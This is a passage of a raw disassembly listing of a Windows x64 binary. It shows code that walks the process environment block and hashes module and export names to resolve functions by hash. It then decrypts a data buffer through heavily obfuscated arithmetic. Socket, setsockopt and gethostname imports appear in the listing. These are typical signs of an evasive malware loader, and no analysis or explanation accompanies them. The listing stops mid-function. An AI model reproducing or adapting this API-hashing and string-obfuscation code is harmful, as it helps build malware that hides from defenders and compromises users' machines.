xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6e0]
test rdx, rdx
jne 0x14010f9a6
mov esi, r12d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010f8b7
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010f8aa
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010f89b
cmp edx, esi
jne 0x14010f987
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010f987
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010f987
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010f90b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010f900
cmp edx, r14d
je 0x14010f921
test r11d, r11d
jne 0x14010f8eb
jmp 0x14010f987
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14010f99f
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14010f99f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14010f97b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14010f958
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14010f96e
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010f99c
cmp qword [rax + 0x30], r12
jne 0x14010f870
mov rdx, r12
mov qword [0x14017c6e0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6d8]
test rdx, rdx
jne 0x14010fb10
mov esi, r12d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010fa21
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010fa14
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010fa05
cmp edx, esi
jne 0x14010faf1
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010faf1
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010faf1
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010fa75
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010fa6a
cmp edx, r14d
je 0x14010fa8b
test r11d, r11d
jne 0x14010fa55
jmp 0x14010faf1
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14010fb09
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14010fb09
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14010fae5
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14010fac2
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14010fad8
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010fb06
cmp qword [rax + 0x30], r12
jne 0x14010f9da
mov rdx, r12
mov qword [0x14017c6d8], rdx
xor ecx, ecx
call rdx
cmp qword [0x14017c6d0], r12
jne 0x14010fc79
mov esi, r12d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010fb88
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010fb7b
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010fb6c
cmp edx, esi
jne 0x14010fc5a
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14010fc5a
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14010fc5a
mov ebx, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14010fbdc
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010fbd1
cmp edx, r14d
je 0x14010fbf2
test r9d, r9d
jne 0x14010fbbc
jmp 0x14010fc5a
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14010fc72
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14010fc72
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x14010fc4d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x14010fc29
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x14010fc40
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010fc6f
cmp qword [rax + 0x30], r12
jne 0x14010fb41
mov r9, r12
mov qword [0x14017c6d0], r9
mov r8, qword [0x14017c700]
test r8, r8
jne 0x14010fced
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r8, r10
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x14010fcd2
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14010fcb6
cmp edx, 0x610c0de3
je 0x14010fd44
mov rax, qword [r8]
mov r8, rax
cmp rax, r10
je 0x14010fce3
cmp qword [rax + 0x30], r12
jne 0x14010fc9c
mov r8, r12
mov qword [0x14017c700], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r12d
mov r11d, dword [r10 + r8 + 0x20]
mov r15d, 1
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r15
test al, al
je 0x14010fd3f
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r15
test al, al
jne 0x14010fd23
cmp ecx, 0xe463da3c
je 0x14010fd4a
add r9d, r15d
jmp 0x14010fd07
mov r8, qword [r8 + 0x30]
jmp 0x14010fce6
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14017c778]
xor ebx, ebx
test r10, r10
jne 0x14010feee
mov esi, ebx
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010fde6
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010fdd9
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010fdca
cmp edx, esi
jne 0x14010fec9
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14010fec9
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14010fec9
mov ebx, dword [r11 + 0x20]
dec r10d
lea rdx, [rbx + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010fe3a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010fe2f
cmp edx, r14d
je 0x14010fe52
test r10d, r10d
jne 0x14010fe1a
xor ebx, ebx
jmp 0x14010fec9
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14010ff5d
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14010ff5d
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14010fea8
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14010fe91
add r10, rcx
xor ebx, ebx
jmp 0x14010febf
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14010feaf
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010fede
cmp qword [rax + 0x30], rbx
jne 0x14010fd9f
mov r10, rbx
mov qword [0x14017c778], r10
mov r15d, 1
lea r9, [rbp + 0x588]
mov r8d, r15d
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x14017c6f8]
test r8, r8
jne 0x14011007d
mov esi, ebx
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010ff7d
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010ff70
xor ebx, ebx
jmp 0x14010fee1
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010ff61
cmp edx, esi
jne 0x140110058
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140110058
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140110058
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010ffd1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010ffc6
cmp edx, r14d
je 0x14010ffe9
test r11d, r11d
jne 0x14010ffb1
xor ebx, ebx
jmp 0x140110058
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x140110070
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x140110070
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x140110037
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x140110020
add r8, rcx
xor ebx, ebx
jmp 0x14011004e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x14011003e
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14011006d
cmp qword [rax + 0x30], rbx
jne 0x14010ff32
mov r8, rbx
mov qword [0x14017c6f8], r8
mov r15d, 1
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
xor r12d, r12d
mov byte [rbp + 0x210], Ordinal_79
mov byte [rbp + 0x211], 0xb5
mov byte [rbp + 0x212], 0xb4
mov byte [rbp + 0x213], 0xb3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x214], xmm0
mov qword [rbp + 0x224], rax
mov dword [rbp + 0x22c], eax
mov bl, byte [rsp + 0x50]
mov sil, 0x7d
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r10, qword [rax]
mov r14b, 0x7b
mov r9, r12
cmp r9, 0x20
jae 0x140110a62
movzx r8d, byte [rbp + r9 + 0x210]
mov rdx, r8
cmp rdi, r9
ja 0x140110a5a
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140110133
movabs rcx, 0x37d6c032caef3249
add rcx, r9
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, r15b
jmp 0x140110160
je 0x1401109ea
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401109c0
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401109a7
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14011096a
cmp r10, r9
ja 0x140110a52
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x140110188
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x15
jmp 0x1401101c9
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140110951
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14011093b
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140110922
lea rax, [r10 + 7]
cmp rdi, rax
je 0x1401108b0
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140110897
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14011066e
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14011065d
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140110640
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x140110623
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140110612
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401105f5
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x1401105e7
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401105d6
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401105b9
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x1401105ab
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x1401101d6
lea rdi, [r10 + 0x42]
lea r10, [rdi + 0x40]
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x140110a37
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x140110a1c
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x1401103bc
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x1401103a3
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14011038a
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x140110561
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x140110519
lea rax, [r10 + 0x64]
cmp rdi, rax
jb 0x1401104e0
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401104bf
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x1401101d6
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x42]
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401104a6
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x14011048d
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140110471
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x140110458
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14011043f
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x140110423
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14011040a
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x1401103f1
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x1401103d5
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401101d6
lea rdi, [r10 + 0xa]
lea r10, [rdi + 0x5a]
jmp 0x1401101d6
lea ecx, [r9 - 0x5d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x75
jmp 0x1401101c9
lea ecx, [r9 + 0x11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x77
jmp 0x140110160
lea ecx, [r9 + 0x7f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x79
jmp 0x1401100fc
lea ecx, [r9 - 0x18]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x58
mov r11b, r9b
jmp 0x140110981
lea ecx, [r9 + 0x56]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5a
jmp 0x14011099f
lea ecx, [r9 - 0x3c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x1401109a2
lea ecx, [r9 + 0x32]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
mov r11b, r9b
jmp 0x140110857
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x1401109bb
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x62
jmp 0x1401109db
lea ecx, [r9 + 0x7c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
mov r11b, r9b
jmp 0x1401108c7
lea ecx, [r9 - 0x16]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x66
jmp 0x1401108f1
lea ecx, [r9 + 0x58]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x140110a05
lea ecx, [r9 - 0x15]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6d
mov byte [rbp + r9 + 0x210], bl
jmp 0x140110a14
lea ecx, [r9 + 0x59]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6f
cmp r10, 0x42
jb 0x1401104d3
mov r11b, r9b
lea ecx, [r11 + 0x16]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 0x34]
jmp 0x140110981
lea ecx, [r9 - 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x71
cmp rdi, 4
jae 0x140110839
lea rax, [r10 + 0x400]
cmp rdi, rax
jbe 0x1401107ed
lea edx, [r9 + 0x62]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401104f4
lea ecx, [r9 + 0x35]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x73
lea rax, [r10 + rdi]
cmp rax, 0x400
je 0x14011087d
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x14011075b
lea ecx, [r9 + 0x65]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x3d
jmp 0x14011052d
lea edx, [r9 - 0x12]
mov ecx, 0x3f
jmp 0x1401106a2
lea edx, [r9 + 0x5c]
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401108f1
mov r11b, r9b
lea edx, [r11 - 0x36]
mov ecx, 0x3d
jmp 0x1401106cb
lea edx, [r9 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1401106f1
lea edx, [r9 - 0x5a]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401109bb
mov r11b, r9b
lea edx, [r11 + 0x14]
mov ecx, Ordinal_60
jmp 0x14011071a
lea edx, [r9 - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401109a2
lea edx, [r9 - 0x10]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011099f
mov r11b, r9b
lea edx, [r11 + 0x5e]
mov ecx, gethostname
jmp 0x140110747
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x140110690
lea ecx, [r9 + 0x49]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r15b
jmp 0x140110575
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401106b6
lea edx, [r9 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140110a05
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401106df
mov r11b, r9b
lea edx, [r11 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401108c7
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140110705
lea edx, [r9 - 0x50]
mov ecx, Ordinal_27
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401109db
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14011072e
mov r11b, r9b
lea edx, [r11 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140110857
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140110575
mov r11b, r9b
lea edx, [r11 - 0x76]
mov ecx, Ordinal_33
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140110981
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140110780
mov r11b, r9b
lea ecx, [r11 - 9]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x3f
jmp 0x140110981
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401107a2
lea ecx, [r9 - 0x77]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x41
jmp 0x14011099f
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401107c4
lea ecx, [r9 + 0x1b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x43
jmp 0x1401109a2
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14011052d
mov r11b, r9b
lea ecx, [r11 + 0x63]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x4b
jmp 0x1401108c7
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140110804
lea edx, [r9 - 0xc]
mov ecx, Ordinal_45
jmp 0x1401106a2
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011081e
mov r11b, r9b
lea edx, [r11 + 0x18]
mov ecx, Ordinal_45
jmp 0x1401106cb
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401104f4
lea edx, [r9 + 0x60]
mov ecx, Ordinal_50
jmp 0x14011062c
mov r11b, r9b
lea edx, [r11 - 0x58]
mov al, r8b
and al, dl
mov cl, byte [rbp + r9 + 0x210]
sub cl, al
add cl, 0x34
lea ebx, [rcx + rcx]
add bl, dl
sub r11b, 0xf
mov al, r11b
and al, r8b
add al, al
sub r11b, al
add r11b, 0x69
add r11b, bl
add r11b, r8b
mov byte [rbp + r9 + 0x210], r11b
jmp 0x1401109bb
mov r11b, r9b
lea edx, [r11 + 0x3a]
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1401108c7
lea ecx, [r9 + 0x1f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x27
jmp 0x140110a05
mov r11b, r9b
lea ecx, [r11 - 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x23
sub r11b, sil
mov al, r11b
and al, r8b
add al, al
sub r11b, al
add r11b, 0x6b
add r11b, r8b
movzx eax, r11b
mov byte [rbp + r9 + 0x210], al
add r10, r15
add rax, r10
sub r9, rax
lea edx, [r9 - 0x34]
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x210], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140110a05
lea ecx, [r9 + 0x69]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x21
jmp 0x1401109db
lea ecx, [r9 - 0x4d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x1b
jmp 0x1401109a2
mov r11b, r9b
lea ecx, [r11 - 0x71]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x17
jmp 0x140110981
mov r11b, r9b
lea ecx, [r11 + 0x6b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x13
add r11b, 0x5f
mov al, r11b
and al, r8b
add al, al
sub r11b, al
add r11b, 0x67
add r11b, r8b
mov byte [rbp + r9 + 0x210], r11b
add r10, r15
sub r9, r15
jmp 0x140110a14
lea ecx, [r9 + 0x23]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0xb
add rdi, r10
jmp 0x1401109db
movabs rcx, 0xf68cc1c92268c491
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 9
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140110a14
movabs rcx, 0xa784409860cd96db
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 3
movzx eax, byte [rbp + r9 + 0x210]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401100e9
sub r9b, 0x13
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, r14b
jmp 0x1401100e6
add r9b, 0x5b
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, sil
jmp 0x1401100d3
mov eax, dword [rbp + 0x175cb1c]
jmp 0x140110a68
mov eax, dword [rbp + 0x164fd65]
jmp 0x140110a68
mov eax, dword [rbp + 0x210]
mov dword [0x14017bef0], eax
call fcn.14013f6bc
mov byte [rbp + 0x150], Ordinal_79
mov byte [rbp + 0x151], 0xb5
mov byte [rbp + 0x152], 0xb4
mov byte [rbp + 0x153], 0xb3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x154], xmm0
mov qword [rbp + 0x164], rax
mov dword [rbp + 0x16c], eax
mov bl, byte [rsp + 0x50]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r10, qword [rax]
mov r9, r12
cmp r9, 0x20
jae 0x140111444
movzx r8d, byte [rbp + r9 + 0x150]
